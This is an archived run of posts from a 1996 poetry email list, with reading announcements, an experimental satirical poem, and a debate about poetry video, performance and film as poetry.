The 12hr-ISBN-JPEG Project ftp.netcom.com/pub/bb/bbrace
continuous hypermodern ftp.teleport.com/users/bbrace
photo-art pacifier.com/pub/users/bbrace
--
Usenet-news: alt.binaries.pictures.12hr/ a.b.p.fine-art.misc
Mailing-list: [redacted] / subscribe 12hr-isbn-jpeg
Reverse Solidus: http://www.teleport.com/~bbrace/bbrace.html

—

↑ Index

59. Rod Smith
Raworth reading at Bridge Street
Thu 4 Apr 1996

Tom Raworth will be reading at Bridge Street Books,
2814 Pennsylvania Ave NW (across from the Biograph near
28th & Penn in Georgetown) at 8 PM on Tuesday April 9th.
You should come hear him he's very good.

↑ Index

60. Jordan Davis
Poetry City #6
Thu 4 Apr 1996

POETRY CITY, hey!
POETRY POETRY CITY, hey!
Reading #6 tonight
Marcella Durand and Kim Lyons!
Women of Brooklyn read their work,
We'll have a really good time!
6:30 p.m. at Teachers & Writers.

CITY OF POETRY, hey!

↑ Index

61. Joe Amato
my script for a poetry video...
Thu 4 Apr 1996

(for a teacher i know)

HEE-YAW

minds steel'd through such immersion in
the highest of theories hearts impassion'd with
pedagogical fervor the likes of which you've never
seen bodies fuel'd with the rich nutty flavor of generic
cheerios

(that's cheery-ohhhhz

& pack(ag)ing only their portables

they march off to wage their war of words against the advertising clan engaging
first the sheer resistance of fully-functional signage deployed strategically
around the perimeter to ward off inquiring minds & hearts & bodies fuel'd with
the rich nutty flavor of generic (repetez vous) cheery-ohhhhz

next, the quizzical expressions of those who
like ourselves in this poem
think themselves unsuitable as institutional quarry
but taken captive nonetheless, just to be sure
bound & gagged
(we've worked ours loose a bit, they're treating us ok)

& its
teachers vs. teachers, folks
with a few dozens of arch-conservative pooh-bahs &
several hundreds of administrators & several
thousands of students
onlooking
chuckling

talk about combat
spoils
vic morrow woulda been
shoulda been
proud, that is
in punk persona

& above the din or
as rumor will have it
much later
beneath
they are inspired by a voice
some think is
frankie lane a singin

SOUND OFF
onetwo

SOUND ON
threefour

HEE-YAW

marlon perkins rises from the grave
to lend a helpin hand

we tell you
we say again
we repeat
in italics (for emphasis

*marlon perkins rises from the grave
to lend a helpin hand*

frankie lane a singin

SOUND OFF
onetwo
SOUND ON
threefour

HEE-YAW

HEE-YAW

HEE-YAW

; wild, wish you could see em
roundin up those stray ideodogies &
bringin em on home
enemy casualties a mountin
sense restored to its nonsenses---

meanwhile, back at the
math harvard berkeley montana ranch professing
no doubt wrongly
to blow up people
or people up
etc. etc.
& cogito, ergo the schools
like the prisons
like all orthogonal structures, in fact
are FULL
FULL

of how to tank (which comes from the portuguese word
meaning "to stanch"

which means
roughly
to stop the flow of
thought
which is
as its etymology would suggest
to etymologists
really not at all about
thinking
at all
as this poem
more exhortation
on thinking about it
than poetry though not
for no tastes, no &
yes, less about math or
teaching or
montana
pace zappa
but about
as he too knew
that eastern
western northern
southern intermountain
midatlantic midwestern
northeastern
southeastern southwestern northwestern
DESIRE
with as might be expected the CAPABILITY
aka WHEREWITHAL
more subtly, UNADORN'D PRIVILEGE RUN AMOK
here in the wonderless usa
in our chevrolets
& toyotas
banking on &
having been taught
to distribute the wealth
in one's own(ed)
backyard

--FUCK YOU--

that is
before that junkheap
bustedown
raggedyass
bastard
wreck

death
or

dying
or
[insert reasonable cinematic equivalent of same]

comes comin around
comin around the
comes comin around the
comin around the
bend round the
bend round the

bend

to

up:
--FUCK YOU
yep

---marchingmarchingmarching dumbfounded
only a little
by the confounding logic of that taunting refrain
mouthed, or more
or less improperly, mumbled
by the opposition, encamped [wink]
foot-in-one-another's-mouth, to wit:

"we simply must
instruct the feet
in the lessons of
lather-
rinse-
repeat"

in countrapuntal arrangement to which may be heard
according to those who listen carefully for such things
a catchy little jingle

composed by our redoubtable staff to accompany our tribe of choice
albeit our erstwhile oppressors (as above)
& bring solace & comfort to same
in the midst of internecine feud, to wit
& at wit's end:

"we simply must
inform the nose
of the rich nutty bouquet of
cheery-
        ohhhz."

↑ Index

62. Maria Damon
Re: poetry video...
Thu 4 Apr 1996

hall does a piece on having his lover drip hot candle wax on his nipples. he says, "i find it particularly enjoyable."--md

↑ Index

63. Maria Damon
Re: poetry video...
Thu 4 Apr 1996

so i really am a yahoo, just like my colleagues think. so sue me: i like just about everything except the fetishization of everything. i might even like robot frost if people didn't drool all over him as if he weren't a cranky old woman hating imperialist poet of the land-owning classes. as i sd before i like bishop and merrill, so okay, i didn't really go for the cowboy poetry on USOP, esp Sue Wallis (i get a kick out of imitating her saying, "we head on back down the drawwww..."), and sure, lou reed at 50 still trying to be underworldish w/ that weak last line (something flickered, then vanished and was gone," or someting like tht), but come on. this is all part of poetry too, not just debating over a fine point in some manuscript of spicer's or shakespeare's. i guess it's my function on this list to say stuff like this. by the way, i got the new Kaufman selected, Cranial Guitar. I already told y'all about my essay being dropped w/out notice frm the volume . well guess whose prose --not full sentences, but certainly whole phrases --about his being a cult figure, about his blending high culture and popular culture --is all over the back cover, uncredited? my phrasing, my insights etc., all anonymously rendered, thanks to the essay i delivered to coffee house press, that dropped into a bermuda triangle of publishing. it's not as if there's a large enough critical corpus on kaufman for this stuff to simply be part

of "common knowledge" about his work. also, my work not listed in the bibliography in the back of the book --effectively erased from kaufman critical history. i've heard about stuff like this happening to people but this is the first time it's happened to me. i mean, it happens in different ways institutionally, in my dept, but it's a first in my publishing career. so. beware girls and boys. in a few days i may not think it's such a big deal, but right now, it hurts. bests, maria d

↑ Index

64. Maria Damon

Re: Performance poetry/Nagy's book

Thu 4 Apr 1996

---

nagy's book s a bit pedantic, but i like the genral poiiint hie's maiming (sorry the typing)... coulda sed it in much less time/space...poetry is a process, it exists in its improvisation, its variation, its aesthetic reception, the form it takes in the performed moment... read also, perhaps, clark coolidge's essay in talking poetics: naropa writing seminars (shambhala press) cant' remember vol. 1 or 2, he talks about improv and language as the "thinnest material we know" etc..., probably baraka has stuff on iiiimprove as well, aldon might no...no? sorry incoherent, repetitive strain injury etc awkwayrd position typiing and also too much going oin... maria dementa

↑ Index

65. Patrick Foley

Re: poetry video...

Thu 4 Apr 1996

From an Interview with Robert Creeley available somewhere on the web, I forget where I got it:

Steve Luttrell: There also seems to be kind of a shift, if you will, of emphasis, maybe, upon performance poetry by way of these things they call poetry slams away from the active publication--from the eye to the ear. It seems that the ear is presently sort of running away.

Robert Creeley: Whatever that comes to, you can hardly knock it because presumably poetry begins with a pitch or a recital or a performance or a presentation. And then, thanks to literacy, there is the ability to write it all down. So it all begins to move through books and all that. But the poetry that's preoccupied me has always been primarily sounded. For example, you couldn't really, finally, get Basil Bunting's poems unless you read them or heard them. Otherwise, it becomes like reading musical scores without physical sound. Even so I have a hard time ever saying that "this is right and that's wrong." You know there was

a time not so long ago when everybody was down on concrete poetry because it really didn't make any sound at all. If a way of doing it has a kind of delight, and makes something apparent or makes something evident that wasn't, then that's terrific. I don't think one has to make a kind of box in which all has to go. We're going to have the same argument, expectedly, as to what do we do with electronically generated poetry--what are we going to do with what is written on computers--does that make it "no good"?

<[redacted]>

↑ Index

66. tosh berman

Re: my script for a poetry video...

Thu 4 Apr 1996

I am sorry but I still hate poetry videos. Again the best poetry on film is Powell, Bunuel, Cocteau, & Keaton. Is there any video poetry that is better than the poetry I mentioned.

↑ Index

67. Marisa Januzzi

Re: Monte's Venetian Room

Thu 4 Apr 1996

Well

Properly speaking, Monte's (where i've spent several dozen new years eves and had my hand kissed and seen the marble slabs go down upstairs...) is the extension of Villa Mosconi, where the veal circulates a little more freely with the business.

I like the line about entering the tradition the wrong way around and i haven't slept in two days for class prep and I'm not HOME I'm in Utah but thank god someone's theorizing Monte's

It gets better because Giovanni's daughter Angela worked for TASS the soviet press agency, came back to work on a staten island paper and ended up making her big break getting into the confidence of some mafioso in prison. Little girls don't do that. Giovanni's got a picture of himself with I think Michelle Marsh on the wall and he's real proud. Also the last time Kenneth Koch went in there Giovanni asked if he could help Angela's journalism career along, since he's such an important writer.

Fresh Airily,
--Marisa
(thanks)

↑ Index

68. { brad brace }
workingmen like this
Thu 4 Apr 1996

MERCHANT NO.920 has rooms where men may change to evening clothes and back again, keeping either suit there, without charge. He also has rooms where men may try on collars and neckties.

--
The 12hr-ISBN-JPEG Project ftp.netcom.com/pub/bb/bbrace
continuous hypermodern ftp.teleport.com/users/bbrace
photo-art pacifier.com/pub/users/bbrace
--
Usenet-news: alt.binaries.pictures.12hr/ a.b.p.fine-art.misc
Mailing-list: [redacted] / subscribe 12hr-isbn-jpeg
Reverse Solidus: http://www.teleport.com/~bbrace/bbrace.html

—

↑ Index

69. { brad brace }
beauty shop ideas
Thu 4 Apr 1996

MERCHANT NO.921 held a beauty contest, offering prizes from 50 down to 15 dollars. Movie pictures were taken of the entrants, which were shown daily for a week in a theatre, where the spectators decided the winner by ballots.

--
The 12hr-ISBN-JPEG Project ftp.netcom.com/pub/bb/bbrace
continuous hypermodern ftp.teleport.com/users/bbrace
photo-art pacifier.com/pub/users/bbrace
--
Usenet-news: alt.binaries.pictures.12hr/ a.b.p.fine-art.misc
Mailing-list: [redacted] / subscribe 12hr-isbn-jpeg
Reverse Solidus: http://www.teleport.com/~bbrace/bbrace.html

—

↑ Index

70. { brad brace }
no patent on this idea
Thu 4 Apr 1996

MERCHANT NO.912 sold toy scooters at half price to women buying aluminum ware on a certain Friday and Saturday.

--
The 12hr-ISBN-JPEG Project ftp.netcom.com/pub/bb/bbrace
continuous hypermodern ftp.teleport.com/users/bbrace
photo-art pacifier.com/pub/users/bbrace
--
Usenet-news: alt.binaries.pictures.12hr/ a.b.p.fine-art.misc
Mailing-list: [redacted] / subscribe 12hr-isbn-jpeg
Reverse Solidus: http://www.teleport.com/~bbrace/bbrace.html

—

↑ Index

71. Aldon L. Nielsen
Re: contrasimilac
Fri 5 Apr 1996

geez, david, touchy! In reponse to the question posed here whether or not anybody "ever" got to reading a poet by way of reading a critic, which seemed to me a fairly bizarre question to begin with, I offered myself as at least one example of at least one person who had read at least one poet after reading about said poet in the writings of at least one critic -- Is there really anybody on this list who would deny ever having done likewise? (maybe so, we'll hear soon enough) --

What does any of that have to do with any "greatfulness" dead or alive or anybody's sense of any form of writing being any less intelligent than any other? I don't know of any poet who does not in fact act as a critic in the act of reading and in the act of speaking of that reading with others -- This desire to oppose oneself to "the critic" as "poet" is rank --

I suspect at least one reader came to Whitman through reading of Whitman in the criticism Whitman wrote of his own verse under a pseudonym -- In which case I suppose Walt was greatful to himself -- he's always been great to me --

↑ Index

72. Tenney Nathanson
The Attic Which Is Desire
Fri 5 Apr 1996

> *Date: Wed, 3 Apr 1996 11:57:01 -0500*
> *From: William Northcutt <[redacted]>*
> *Subject: Benjamin*
>
> *-- [From: William Northcutt * EMC.Ver #2.5.02] --*
>
> *Just re-discovered a great bit from Walter Benjamin in "One-Way Street":*
>
> *"What, in the end, makes advertisements so superior to criticism" Not what the moving red neon sign says--but the fiery pool reflecting it in the asphalt." (Reflections 86)*
>
> *Exchange "poetry" for "criticism."*
>
> *William*

*****

I believe
Biscuit Tortoni, 25c per portion

***

```
*  *  *
*  S  *
*  O  *
*  D  *
*  A  *
*  *  *
```

***

and then there's the Buck-Morss book on the Arcades Project (I know no Greek)

cheers,

Tenney

↑ Index

73. Ward Tietz
Re: Poetry Video
Fri 5 Apr 1996

I agree with a lot of the recent comments on poetry video. The distribution of contemporary work in video is so bad that it is almost impossible to have an

intelligent conversation about what is formally possible, but I'll venture some comments nevertheless.

Poetry video, to me implies a quasi-documentary form, where the text is understood and maintained as the primary compositional medium. Video documents or embellishes the performative and presentational potential inherent to the text.

Video poetry implies a different practice. It implies that video itself is the primary compositional medium. Language can be performed and presented without necessarily originating from a base text.

I've found that the ability to recognize poetry in video, or other media outside of print, becomes practically impossible as text is given up as the compositional format. Some early Gary Hill work is very textually based and maintains a strong literary character. Other work, even when it contains language, has difficulty maintaining a literary character, without this textual base. William Wegman and Bill Viola have made some very poetic videos, but it would be difficult to think of them as poetry.

Sound poetry suffers from this same problem. Some pieces appear literary and others more musical or vocal. Considering all this I've come to believe that the basic criterion for poetry is perhaps not language, but text. This is more than obvious for traditional practice, but for work that investigates medial boundaries such criteria aren't always apparent.

Ward Tietz

↑ Index

74. Michael Boughn
Not More Pound!
Fri 5 Apr 1996

I realize this is rather on the personal side, but I thought I'd just mention that Amelia Morgan Boughn entered this plane of existence on April 3 at 5:38 PM. She has yet to say either Da or Ma to my face, but as I drifted off in the hospital room after her rather dramatic entrance, I could swear I heard someone in her direction mumbling "and then went down to the ships, set keel to breakers, forth on the godly seas."

Mike

↑ Index

75. Robert Drake
Re: Performance poetry/Nagy's book
Fri 5 Apr 1996

---

another source fr poetry/performance might be _The Poetry Reading: compendium on language & performance_, Stephen Vincent & Ellen Zweig eds, Momo Press 1981... many points ov view, some dated-- the three essays on poetry video, frinstance, we're written pre-MTV, which means to me that they're written about a different media than what we mean now when we say "video"...

lbd

↑ Index

76. Maria Damon
Re: my script for a poetry video...
Fri 5 Apr 1996

---

hey tosh berman, there's no denying that what you describe is poetic film. perhaps i'm being too literal minded by talking about videos OF poetry that is self-consciously intended as such, whether or not "we" think it "merits" the name "poetry." i thot that was the subject of discussion. personally i only saw buster keaton films a few times when i was a kid, and found them unbearably painful. i felt too much for the guy hanging off the skyscraper or whatever, had no "critical distance" from which to admire it as a performance. i just thot i was being forced to watch someone suffer while people around me were laughing. maybe i'd laugh today. probly, since i've been monty pythoned into a different sense of humor. i haven't ben trying to convince you. i appreciate your high-art perspective. just yakking.--md

↑ Index

77. Charles Alexander
Re: my script for a poetry video...
Fri 5 Apr 1996

> *I am sorry but I still hate poetry videos. Again the best poetry on film is Powell, Bunuel, Cocteau, & Keaton. Is there any video poetry that is better than the poetry I mentioned.*

Three cheers! and though I might add a name or two, these will do the job nicely.

↑ Index

78. **Maria Damon**
Re: Not More Pound!
Fri 5 Apr 1996

---

congratulations, mike boughn. may you relearn/unlearn wild language thru your new little person friend.

↑ Index

79. **Michael Heller**
Re: POETICS Digest - 3 Apr 1996 to 4 Apr 1996
Fri 5 Apr 1996

FOR DC AREA PEOPLE

CARL RAKOSI WILL BE READING AT THE LIBRARY OF CONGRESS ON 11 APRIL

6:30 PM THE MUMFORD ROOM OF THE LIBRARY'S MADISON BUILDING

↑ Index

80. **Michael Heller**
Re: POETICS Digest - 3 Apr 1996 to 4 Apr 1996
Fri 5 Apr 1996

FOR DC AREA RESIDENTS

CARL RAKOSI IS READING AT THE LIBRARY OF CONGRESS

APRIL 11TH AT 6:30PM

THE MUMFORD ROOM OF THE LIBRARY'S MADISON BUILDING

↑ Index

81. **Patrick Foley**
Re: my script for a poetry video...
Fri 5 Apr 1996

Reply to Maria Damon:
>personally i
>only saw buster keaton films a few times when i was a kid, and found them
>unbearably painful. i felt too much for the guy hanging off the skyscraper
>or whatever

That's Harold Lloyd.

<[redacted]>

↑ Index

82. Chris Stroffolino

Re: my script for a poetry video...

Fri 5 Apr 1996

Well, my favorite poetry video is
"THE ADDICT WHICH IS DESIRE"
starring the UNABOMBER as Ezra-Pound....

but, seriously quertzblatz guyzies,
CHAX could've at least mentioned JLG-
especially the foreign film subtitle effect
which I always thought would be great in
american films by poets.....

cheers to amelia boughn....
(but hurry, give her a dose of something other than pound
quick!)

↑ Index

83. Patrick Foley

Re: Ward Tietz on Poetry Video

Fri 5 Apr 1996

> *William Wegman and Bill Viola have made some very poetic videos, but it would be difficult to think of them as poetry.*
>
> *Ward Tietz*

Yes. I've been kicking around for a few years the idea that there is some similarity between film and poetry, just as there is between poetry and music, because these are sequential arts, in time, unlike painting & sculpture & architecture & ...

And film has something analogous to the linebreak, namely the CUT.

Montage can give film a sort of poetic structure, even though its materials are visual (primarily) rather than linguistic.

That's my $0.02.

Pat

<[redacted]>

↑ Index

84. David Baratier
monte's venetian
Fri 5 Apr 1996

Bill Luoma

Thanks for the the extra information on the Nogo area, in a number of ways I found that piece more interesting than talking about "poetics," per-haps cause community and dialect fit as a direct source, or purer source of defining a piece. I take it chris was wondering if the area existed, and if so for more information. There is a reading in Brooklyn we're involved in the end of May, I was wondering if you knew any thing about the place before either chris or I accept. Could you send me your e-mail address to:

[redacted]

One thing seems funny, not many people wrote about NY.

↑ Index

85. tosh berman
Re: my script for a poetry video...
Fri 5 Apr 1996

> *Well, my favorite poetry video is*
> *"THE ADDICT WHICH IS DESIRE"*
> *starring the UNABOMBER as Ezra-Pound....*
>
> *but, seriously quertzblatz guyzies,*
> *CHAX could've at least mentioned JLG-*
> *especially the foreign film subtitle effect*
> *which I always thought would be great in*
> *american films by poets.....*
>
> *cheers to amelia boughn....*
> *(but hurry, give her a dose of something other than pound*
> *quick!)*

Very good point - Jean Luc Godard's use of text in his films are amazing! And speaking of poetry videos - why don't they just make them with a black back-ground with white lettering and having a bouncing ball so you can read along....follow the bouncing ball and see where it leads you!

tosh

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86. tosh berman
Re: Poetry Video + sound
Fri 5 Apr 1996

Interesting comments from Ward. I personally find all types of pop music poetic, especially lyrics by Cole Porter, and early rock stuff from the sixties --"Psycotic Reaction," "Have I the Right to Hold You," and other of that type. Mostly I think it depends where you are listening to those songs, and what mential state you are in. I think how Dennis Potter (Pennies from Heaven) use of popular songs has a strong "poetic" commentary on the action that is taking place on the screen. So in other words I don't really seperate the sound poetry of Kurt Schwitters from the so-called blandness of Johnny Ray. Both of them deliver the punch to me. Also the use of sound, text, and images from Godard is an amazing example of writing poetry on the silver screen.

tosh

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87. Emily Lloyd
Re: poetry video...
Fri 5 Apr 1996

A stunning example of poetry & video working well together is Marlon Riggs' "Tongues Untied"--short film about black gay culture featuring Essex Hemphill. Someone, during the course of this thread, mentioned the tendency of the visual to overpower the oral/language---how some students had said "after a while, I stopped paying attention to the words." Oh, see this film! The images are used in such a way as to get the viewer to focus on the language...at one point, a phrase is repeated over & over, but rather than "vanishing" into gibberish, it becomes more powerful, you start to take the phrase apart, you start to hear each word separately...'least I did.

As for "stopping paying attention to the words," I often find it hard to hear the words--or pay attention to them--at plain old poetry readings, when the only visual barrier is the poet. I tend to think of poetry-performed-well as separate from poetry-that-works-on-the-page, with all the room in the world for overlap...performing & writing being, somehow, such different activities...& find that often poets whose work I like on the page are intolerably bad "performers"/readers....while some whose books I wouldn't particularly want on my shelf dazzle live...

~~~
~~~

Emily Lloyd [redacted]
"It takes time to make queer people"--g stein

↑ Index

88. tosh berman
Re: Ward Tietz on Poetry Video
Fri 5 Apr 1996

...
>
>And film has something analogous to the linebreak, namely the CUT.
>
>Montage can give film a sort of poetic structure, even though its materials
>are visual (primarily) rather than linguistic.
>
>That's my $0.02.
>
>Pat
>
>
><[redacted]>

Yes, I totally agree with Pat, and let me add anothe $0.02. Reading Sergei Eisenstein's "The Film Sense" should not only be a text book on film making but also on poetry making!

tosh

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89. Henry Gould
Re: poetry video...
Fri 5 Apr 1996

On Fri, 5 Apr 1996 12:13:32 -0500 Emily Lloyd said:
>such different activities...& find that often poets whose work I like on the
>page are intolerably bad "performers"/readers....while some whose books I
>wouldn't particularly want on my shelf dazzle live...

So true, so true. I wonder if and how this relates to Nagy's theme of variation and variant composition. When I read Nagy I thought of Mandelstam's denigration of poetry "scribblers" & his own claim to "compose on the lips", by ear, and repeated trying things out loud. Mandelstam also left many variant versions especially of his later poems (though I guess that was due just as much to his struggle on the edge of survival in Russia at that time). But I think the oral/

written raw/cooked biz can fall into simple oppositions. Intense writing = rawness = conviction.

Sea-tang in the air;
fish not tasted; a poem
cooked until it's raw.

- Henry Gould

↑ Index

90. Jeff Hansen
Poetic Briefs
Fri 5 Apr 1996

Poetic Briefs number 20 will be out in the next week. It features a piece by Peter Ganick, Text Why Text, and an essay on Clark Coolidge by our very own Anthony Green, and responses to Mark Wallace's essay "Emerging Avant-Garde Writers and the Post-Language Crisis." E-mail me with your address if you'd like to get a copy.

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91. Jeff Hansen
Alice Notely
Fri 5 Apr 1996

Poetic Briefs 21 will contain a forum on "vision in poetry" in honor of Viking press's publication of Alice Notely's "The Descent of Alette." We welcome submissions of one thousand words or fewer that discuss either vision or any aspect of Notely's work. E-mail me by June 5 with your briefs.

Thanks,

Jeff Hansen

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92. Charles Alexander
Re: my script for a poetry video...
Fri 5 Apr 1996

> *Well, my favorite poetry video is*
> *"THE ADDICT WHICH IS DESIRE"*
> *starring the UNABOMBER as Ezra-Pound....*
>
> *but, seriously quertzblatz guyzies,*
> *CHAX could've at least mentioned JLG-*
> *especially the foreign film subtitle effect*

> *which I always thought would be great in*
> *american films by poets.....*

well, sure, and I like eric rohmer for making films of just yakking

but as poetry, I have to get in a plug for stan brakhage, who has taught me a thing or two or three about light, and that's worth a lot more than the price of admission

↑ Index

93. Eryque Gleason
Re: poetry video...
Fri 5 Apr 1996

---

i think i may be a day or so late on this, but oh well...

i gotta respect an editor for putting john s. hall in the USOP video, that's going *way* out on a limb i think, without, possibly, much support for that thin branch. i take hall's solo stuff more as comedy than poetry as well, and much of it to be more comedic than musical, even though King Missle does have several pieces that i recognize more as songs than anything else.

the disntinction between comedy/poetry in the case of hall seems to me to be roughly equivilant to making the distinction between poetry/prose. why draw such a line? i can certainly understand the reaction at maria's party 'who let that guy in?' but it seems that when we ask such a question, we're really looking for a union card. like: "who told you that you could be a poet? you gotta wear the white hard-hat for and be a Type-writer Operator for at least two years, then *if* one of the yellow-hats moves up you get to be Poet. And then later on, say after maybe ten years, one of the foremen move up you get to wear the blue hat and be Editor."

anyway, i do see value in hall's work and work like it. the value i see isn't that i'd really think of him as a Good Poet (whatever i mean by that), but that his function may be to help keep the Serious Poets (whatever i mean by that) in check, keep them from becoming stagnatingly Serious.

 in high school a friend and i used to wander across our campus, i'd play the chords to "detachable penis" on my guitar and he'd recite the lyrics. fresno at that time had a large mormon population, a large fundamentalist-nondenomenational christian population, and a growing jehovah's witness population. needless to say we weren't well recieved, but no one *actually* hurt us.

eryque

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94. Jordan Davis

metronomic underground / NYC part three

Fri 5 Apr 1996

The phrase you can still overhear wherever two or three poets are gathered in the name of poetry:

> "essay production."

You bet I heard it at the SALT talks.
I even said it a few times.

———

Day Three of the NYC Poetry Talks. Biblios Cafe, Sunday the 31st at 3. Started a little late. Twenty seven poets, ran until about eight. A mini-marathon. Standing in the back. A lot of lacunae for me near the capuccino machine. Heard a little of Beth Anderson (cool new poems in Arshile), heard slightly more of John Byrum (good reading), heard very little of Sianne Ngai. Joe Ross I could hear. Joe read from the 'Fuzzy Logic' series. Chris Stroffolino read his 'phish' piece, thought it went fine, Chris, don't know what Lisa meant. She's, you know, opinionated. So are you. Mark Wallace read, he'd handed over his 'Lawless Man' chapbook pub'd by A L Nielsen of the funny headers. Couldn't hear him. Sorry, Mark.

Made sure I sat down for the 4 pm readers (poetry time, about 4:40). Lee Ann Brown said she was nervous. Aw she was fine. She read her fortune-cookie piece, it got people. Tim Davis read some work with mucho 'brucismo' (Ben Friedlander's phrase). He's swell, he's reading at segue on the 12th. He'd read the week before at Biblios with Stephen Rodefer who was in the house. Michael Friedman came on. Very subtle disjunct prose poems (from _Cameo_, The Figures): "The sign on the trunk said 'free'." Lisa Jarnot read a poem shoot I can't find the title. It was as Mr Rodefer said 'grand'. Bill Luoma read his terrifying/funny sex/relationship poem. Dug Rothschild came on with hockey gloves and signs. License plate poems. Then said 'This is for the Canadians' and threw his hands down, the gloves onto the floor. Rod Smith followed said tough act gracefully, we all as someone said during the reading 'leaning by the john door'. When he stopped reading we all stopped breathing. Cool.

Five p.m. hour I was stuck back in the back again. Heard some of Martine Bellen's murasakiwerk (I think). Garrett Kalleberg (hey Garrett!) read a poem of friendly affect, Sean Killian read a poem (about a cantor) of intense, Beckett- or Bernhardesque affect, Andrew Levy read a poem of cool affect, Dan Machlin read some poems of perverse affect (hey Dan! feel free to contradict me), Heather Ramsdell read two poems including her poem ending 'Do you like my hat' that I like so much. Unclear affect because using rich language and total

disruption--interesting effect. Sam Truitt read a poem of intense, Schuyler- or Ashberyan affect--a distillate.

Then the last excellent okay hour. I forget what happened. I read, I think about a minute over my limit. The excellent Joe Elliott of ye Biblios read from his 'poems to be centered on much larger sheets of paper'. The excellent Liz Fodaski read some poems, have you seen her poems? For that matter, have you seen Deirdre Kovac's poems (hey! Deirdre)? They have this clarity of line that's startling. The excellent Robert V. Hale (okay, my publisher, he's excellent anyway) read a poem for Joe Elliott's newborn son, Leo. The excellent Kim Lyons read some poems--more Kim in this week's Poetry City report. The excellent Brian Kim Stefans read some poems written using Lotus 1-2-3, including the one about his mother being a dim bulb. Okay not his mom, Robert Duncan's mom. Okay, not Duncan's mom, but his line about the falconress. And then...

Fiona Templeton read a section from her new work, to be performed this fall at the Kitchen. Everybody in the room, everything in the room, people on the street, everything focused in on her while she read. Whispers, altered nursery rhymes, different voices. If you've been thinking about the site specific/zenobia/venice project, you ought to get in touch with the organizers soon--Fiona is the featured artist of the program.

___

Then we went to Nam Phuong (http://phuong.com) or (http://www.phuong.com).

___

happy holidays,
Jordan

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95. Maria Damon

Re: poetry video...

Fri 5 Apr 1996

---

eryque --re comedy/poetry; i take lenny bruce very seriously as a poet, but when i offered to write an entry for him for the encylcopedia of jewish poets and playwrights, they said naaahh; more puzzling ws they also sed naaah to gertrude stein and david antin. i'd written on bruce and antin in Cultural Studies back in 1990 or 1991, so i guess ive internalized that continuum.--md

↑ Index

96. **Maria Damon**
Re: poetry video...
Fri 5 Apr 1996

---

yes emily thanks for mentioning marlon riggs. and as for "stopping listening to the words," what's wrong w/ that? that seems like just another mode of listening. like john cage sd, if u think something is boring after 10 minutes, try it for another 10 minutes and it'll become interesting.

↑ Index

97. **Maria Damon**
Re: poetry video...
Fri 5 Apr 1996

---

ps emily, doesn't gertrude say, it takes time to make A queer people? that's how i remember it, but now that i look it up in my bk, it's as you quoted it. the next sentence is about the generation that knows not joseph. i'm sure u cn c where i'm going w/ this...i lovd your dream abt. gertrude, but i tend to think thta you do know what yr talking about a lot of the time...bests, maria d

↑ Index

98. **Maria Damon**
Re: my script for a poetry video...
Fri 5 Apr 1996

Reply to Maria Damon:
>personally i
>only saw buster keaton films a few times when i was a kid, and found them
>unbearably painful. i felt too much for the guy hanging off the skyscraper
>or whatever

That's Harold Lloyd.

---
oh well, my yahoo-ism doubly underscored...didn't buster do anything about hanging on the arm of a large clock? i mean hand?
md

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99. Chris Stroffolino

Re: my script for a poetry video...

Fri 5 Apr 1996

Dear Charles--
good plug for brackhage....
very subtle filmaker....forces me to SLOW DOWN, very DEMANDING
the undergrad teacher, Gary Adelstein, who turned me on to both
poetry and independent film (i used to make super 8's back in the
pre video-craze days and when i could glom parasitically onto an
institutional structure that provided me free access to equipment)
tells me that he's now working on landscape films (a la Brackhage)
but based on James Schuyler poems.....
It'd be great to see it....
Le Ann Brown at the NYU poetry talks, by the way, suggested that
poets and filmakers may collaborate far more among "my" generation
than in the past and maybe some young marjorie perloff could eventually
write a book POET AMONG FILMAKERS....
but I'm jumping ahead of the game....
what is needed is more film shows in NYC...
like in the heydey of the L scene and Henry Hill's great
"MONEY" movie.....

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100. main

Re: Ward Tietz on Poetry Video

Fri 5 Apr 1996

On Fri, 5 Apr 1996, tosh berman wrote:

> ...
> >
> >And film has something analogous to the linebreak, namely the CUT.
> >
> >Montage can give film a sort of poetic structure, even though its materials
> >are visual (primarily) rather than linguistic.
> >
> >That's my $0.02.
> >
> >Pat
> >
> >
> ><[redacted]>

>
>
> Yes, I totally agree with Pat, and let me add anothe $0.02. Reading Sergei
> Eisenstein's "The Film Sense" should not only be a text book on film making
> but also on poetry making!
>
>
> tosh
>
eisenstein's _film form- makes cents, too: particularly "cinematographic
principle and the ideogram" & "dialectic approach to film form" up the
ante on pound/fenollosa "ideogram.

dan

↑ Index

101. Bob Holman

Poetry video

Fri 5 Apr 1996

I ve been off-line here --what a rush to come back to roaring controversy re: poetry video.

Thanks, Maria for your report on the United States of Poetry party at Woods Hole (I lived there in early 70s, co-founded the Woods Hole Theater Co., whose Wizard of Oz rainbow still adorns the Fishmongers) -- to me, that s what it s all about, and I ve partied hardy w/ the show across the country, turning people onto the possibilities of poetry. It s too obvious, the new audience for poetry -- it s the _same_ audience for poetry, it s just that the audience didn t know it, couldn t find its way to the po, had written po off to people who defend its purity by proclaiming Bunuel/Fuller/Keaton are the true poets of film. Really, Tosh, I thought we all knew Tati is film s poet laureate! It always gets me how it s great for everything else to be poetic, except poetry.

To respond to someone who writes in asking for info about poetry videos by declaring you hate them but here s a list of my favorite cinema auteurs is to say, yup, I define it, and if you re interested in what I _think_ you are, go away (more Oz?)! I can t think of a better example of turning off someone who might be interested in poetry.

The impulse behind USOP is the opposite. It s for getting poetry to people, for utilizing TV as a means to do that. It s for letting poets define what a poem is, and saying that those who write poems are poets. It s for letting the poem as spoken be a poem, and it s for making it new with no prejudice against whatever technological media we ve got to transmit the poem.

And of course it s for declaring that there s not a single culture that makes up these so-called united States, and that there are poets in all of them. And it s for a direct connect to the poem, no interviewer-expert-footnote, no contextualization but the thing itself.

So the arguments go something like this: are the poems in USOP poems? does the visual "overpower" the word? do the translations illustrate rather than illuminate -- which where how why? What production values must be maintained to get a show broadcast? Was it Johnny Depp wot got the poems into TV Guide? How about the use of the visible narrator in the Ruth Forman piece? Is the doggy at the tail of Rev Pedro Pietri s poem a nod to _Entr acte_? Who is Besmilr Brigham?

I would not have been motivated to do vidpo s, USOP, or even get involved in le Monde du Slam, if it weren t that I love the poem, am poem-addict, and don t understand why there aren t more of us, if I didn t meet all kinds of people who make gagging gestures at the mention of poetry s name and disbelief that a living being could be a poet (anybody see Rothstein s On Trying to Name Famous Living Poets in last Sunday s NYTimes?). Poetry woke me up to other cultures, let me hear truth, see beauty. Am I yahooing po to say all this?

Can these words stand up to images, be translated to this other medium, find a new book? Do we need them? No, not, _not_ you you -- you you ya yoyo!

